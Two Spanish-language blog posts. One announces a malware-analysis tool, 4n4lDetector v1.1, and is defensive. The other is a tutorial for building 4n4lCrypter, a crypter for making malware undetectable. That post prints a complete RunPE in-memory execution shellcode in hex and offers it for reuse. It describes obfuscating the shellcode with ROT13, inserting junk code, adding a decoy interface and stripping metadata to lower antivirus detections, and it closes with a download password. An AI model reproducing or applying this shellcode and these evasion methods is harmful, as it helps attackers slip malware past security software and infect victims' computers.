domingo, 14 de junio de 2015

4n4lDetector v1.1

¡Joder qué tiempo de mierda hace ahí afuera! Ha llegado ese momento incómodo en el que todo el mundo, se vuelve en tu contra. Si te metes en la cama y te arropas, pasas calor. Si asomas un pie por el extremo de la sábana, corres el riesgo de perder el meñique por congelación. Si se te ocurre salir en pantalón largo, hasta los gayumbos se fusionan con los cachetes de tu pompis, y esto junto a la transpiración de tus pelotas se convierten en enemigo público número uno. ¡Porqué te la empieza a sudar todo! Y si por el contrario decides pasarte a los pantalones cortos... date por jodido porque algo malo tiene que pasarte, tú hazme caso…  ¡Qué esto es un sin vivir!

La verdad es que no me apetece escribir el post pffffffff jajajaa… preferiría estar tirado al solecito en mi terraza chupando del polo flash, pero como alternativas después de un fin de semana tan movidito solo me quedaba publicar algo o entrar en putalocura, y no sé qué estará ocurriendo, pero últimamente no la actualizan con buen contenido, pues eso… que estoy perdiendo el interés.

Así que me he dicho… voy a regalarles a los chavales y especialmente a las chavalas, la nueva versión de mi software 4n4lDetector. Bromas a un lado, le he dedicado bastantes horas para que sea aún más potente que la anterior versión, y si os digo que estoy muy contento con los resultados que esta herramienta me está dando, no os engaño. Además no tengo que venderos nada, porque todo conmigo siempre es gratis.

¿Qué cosas nuevas trae esta versión de 4n4lDetector?

Si recuerdan mi anterior entrada en la que desarrollé un Crypter para hacer malware indetectable. Este utilizaba un stub llamado enelpc.exe, que tras utilizarlo con 4n4lCrypter, el archivo resultante Crypt.exe transportaría finalmente el malware cifrado. Este sería el resultado al arrastrar ambos ejecutables a la herramienta.

He incluido como ven una rutina de detección de Droppers, que funcionará sobre aplicaciones de tipo Binder, Joiner y Crypters que se basan en stubs.

Siguiendo con los Crypters, una de las publicaciones de indetectables.net realizada por el usuario MaggicianCOr, se trataba de otro modificado por él mismo. Decidí descárgalo y usarlo para echarle un vistazo al binario cifrado, sirviendo de buen ejemplo para mostrar el resto de información que nos brinda 4n4lDetector.

Esta nueva versión estudia la posible abundancia de caracteres extraños, normalmente generados de forma aleatoria por el malware, para incluir un añadido de polimorfismo a las descripciones de los binarios generados. La siguiente imagen muestra una detección de polimorfismo, seguida de la cantidad de código Dropper, y la anomalía tras el Entry Point de encontrar un salto condicional JPO, el cual delata la modificación del ejecutable compilado en Visual Basic 6.

Si recuerdan la entrada en la que cifrábamos un malware a mano, se incluyeron unos algoritmos de rotación, sumas, restas e instrucciones XOR tras el Entry Point del troyano Poison Ivy. Algo que también llamará la atención de 4n4lDetector ya que estudia los primeros 25 Bytes del punto de partida de todas las aplicaciones.

Algo que no podía faltar en el módulo de ejecución, sería la posibilidad de cargar librerías. Con lo que esta nueva versión cuenta con un nuevo ejecutable añadido de apenas 2,7 KB, para poder estudiar sus Memory Dumps.

Los algoritmos encargados de la búsqueda de nombres ejecutables también han sido mejorados, con lo que ahora tendremos en este apartado una información más amplia y mejor obtenida.

Algún usuario me pidió que se guardasen en un LOG las extracciones, así que preparé una función por consola para la herramienta, en la que si se le pasa como parámetro sin comillas de ningún tipo, el nombre del ejecutable a analizar, esta genera un TXT en la raíz de 4n4lDetector con el nombre de la aplicación analizada.

Algo que creo recordar nunca había nombrado en el blog, son los métodos Call API By Name o Call API By Hash. Estos métodos son utilizados para invocar a las API sin declararlas como tal. Mediante algoritmos se calcula el hash como nombre con el que hacer referencia a un API o se suelen llamar a las funciones cargando directamente las librerías con LoadLibrary y copiando de su memoria las instrucciones. El malware puede utilizar estas técnicas para esconder del análisis estático, cuales son las funciones que realmente utilizará, con lo que me pareció una buena idea incorporar la detección de estos métodos. La siguiente imagen muestra un simple Downloader, camuflando el API UrlDownloadToFile.

Qué raro se me hace desarrollar métodos de evasión antivirus y malware como hobby y a su vez combatirlos también como hobby jajaja


Saludos 4n4les! ;)

sábado, 23 de mayo de 2015

Antivirus K.O. 4n4lCrypter y evasión de antivirus desde código fuente

Pues va a ser que debo de estar jodidamente loco, teníais razón. No conozco a nadie salvo a mí mismo, que escribiendo un artículo medianamente técnico o serio como podría darse el caso de ser este, se levante a bailar durante un buen rato al ritmo de Juan Luis Guerra perdiendo completamente el hilo. Y os lo digo con conocimiento de causa, ya que sé exactamente qué es lo que hacéis en vuestra casa… ¡os veo por la webcam! ;)

Diréis… ¡bueno! estás loco, pero es “normal”, ya que estás solo en tu casa y no tienes por qué avergonzarte jajajaja ¡no! Esto me pasa a menudo y en cualquier lugar, no exactamente me pongo a dar brincos de alegría, ¿o sí?, pero siempre tengo una cancioncilla sonando en mi mente o algo gracioso que a veces no solo me hace partirme de risa solo, sino que involuntariamente también ayuda a evadirme.

Siempre criticaron mi forma de ver la vida, demasiado cercana a los mundos de Yupi, la cruel realidad no me daña y es eso o vivir una vida precaria… ejem… (osea de mierda). Como la que tiene una gran mayoría de mortales que me rodean y a su vez critican, sin ilusión o con algún problema psicológico no cuanto menos ilógico, el cual desconozco el porqué de tener que darle importancia alguna. Negatividad y falta de optimismo, ciegan incluso su visión de futuro más cercano. A veces se hace tan difícil combatir contra este tipo de personas lúgubres y taciturnas, que salir a la calle y pintarle una sonrisa a la vida se convierte en un auténtico reto. ¿De qué cojones iba la entrada de hoy? ¡Ah sí!

Los asiduos a leer mi blog, se habrán dado cuenta de que me lo paso piruleta haciendo reversing al malware, con el objetivo de hacerlos indetectables a los motores antivirus. En este caso no dejaremos a OllyDbg de lado, pero sí le restaremos importancia, ya que explicaré métodos evasivos desde el código fuente de un “crypter” desarrollado en mi habitual Visual Basic 6, al que he llamado… 4n4lCrypter.
Uno de los métodos más comunes para llevar a cabo la creación de un crypter, se trata de incluir un módulo RunPE que consiga ejecutar un binario “on the fly”, algo así como sin la necesidad de tocar el disco, ya que este pasa a ejecutarse directamente en memoria. Para lograr esto, existen varios módulos públicos. Nosotros en este caso utilizaremos una conocida ShellCode desarrollada por hamavb, la cual dejo a continuación por si alguno decide utilizarla en cualquier otro lenguaje de sus proyectos.

60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F0300006A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F40000008B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E84F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000

Sin duda existen millones de binarios repartidos por el mundo utilizando esta misma ShellCode ¿Cómo puede ser que los antivirus no la detecten? Sencillamente porque es imposible realizar el análisis en memoria de todos los binarios de un ordenador, por cuestiones de rendimiento. No obstante, si esta ShellCode se incluye como “string” en el binario en disco, las compañías antivirus tendrán mucho más sencilla su detección… lo que haremos en este caso es modificar el aspecto de la ShellCode. En primer lugar podemos utilizar alguna herramienta ShellcodeToExe para echarle un vistazo a las instrucciones, pudiendo incluir o modificar las rutinas como ya hicimos en anteriores entradas de Antivirus K.O.. El foro de Indetectables.net tiene una herramienta muy cómoda para realizar esta tarea, así que pegaremos la ristra y descargaremos el binario.


Tras arrastrar a OllyDbg el ejecutable generado, a ojo de buen cubero en la dirección de memoria 401020 vemos el PUSHAD que inicia el código de nuestra ShellCode.


Podremos aplicar los métodos aprendidos en el blog, para generar una nueva ristra a la que llevarnos a nuestro crypter.

Actualmente en una gran cantidad de foros sobre hacking, se incluyen publicaciones sobre diferentes modificaciones de esta ShellCode, normalmente sobre las “strings” del proyecto. Algo más sencillo de variar utilizando algoritmos de cifrado u otros métodos como concatenación de caracteres, con el equivalente número de la tabla ASCII entre las más comunes. La forma de llamarla sería mediante ASM en línea, con lo que evitando las limitaciones en Visual Basic 6 sobre los tamaños de las cadenas declaradas en el código fuente, reservaríamos una “string” dividida en siete trozos de la siguiente manera.


De igual manera que en el resto de métodos evasivos a bajo nivel, en este deberíamos de camuflar el objetivo principal de la aplicación, utilizando código basura para jugar al despiste con los motores antivirus. La inserción de este código basura puede realizarse de forma manual, incluyendo auténticas funciones o más bien lo contrario, utilizando un proyecto de otra aplicación para incluir nuestro código malicioso. Por otro lado existen aplicaciones llamadas “RunPE Generator”, las cuales generan módulos RunPE con variables, funciones y API con nombres aleatorios. En el caso de 4n4lCrypter, decidí utilizar una mezcla de varios métodos. Por un lado la herramienta Abronsius Code Obfuscator, con la que incrusté el algoritmo ROT13 para ofuscar las “strings” de la ShellCode agregando el algoritmo al proyecto.


Decidí que sería un buen código para el stub de mi crypter, la herramienta de cortado que utilizo en 4n4lDetector v1.0, así que la migré al nuevo proyecto y la incluí como formulario principal. Además agregué una imagen para darle más apariencia de aplicación con buenas intenciones… ¿Qué malware utiliza imágenes en sus proyectos? ¡Pues 4n4lCrypter!.


Decidí separar a la ShellCode ofuscada en diferentes módulos, y llamarla mediante funciones. La siguiente imagen muestra código basura ofuscado entre los fragmentos del RunPE.


La función principal del ShRunPE llamando por Calls al resto de fragmentos, junto al CallWindowProc el cual también podríamos ofuscar su nombre de función.


Después de compilar el stub, agregarle un icono y eliminar desde el editor hexadecimal la ruta de compilación y el VersionInfo desde la herramienta Resource Hacker, este es el resultado de las detecciones antivirus del stub de mi crypter.


Al cifrado se suma Avira y Eset, algo que os dejaré como tarea porque yo me voy de fiesta ;)

La próxima versión todavía no publicada de 4n4lDetector v1.1, mostraría la siguiente información del ejecutable. DllFunctionCall como siempre haciendo de las suyas ocultando información sobre las API utilizadas.


A continuación les dejo la imagen de la herramienta, un toque personal que últimamente acostumbro a darle a estas con la similitud de una consola. Nada que ver con mis anteriores crypters… Billar Crypter.



Pass: 4n0nym0us

Saludos 4n4les! ;)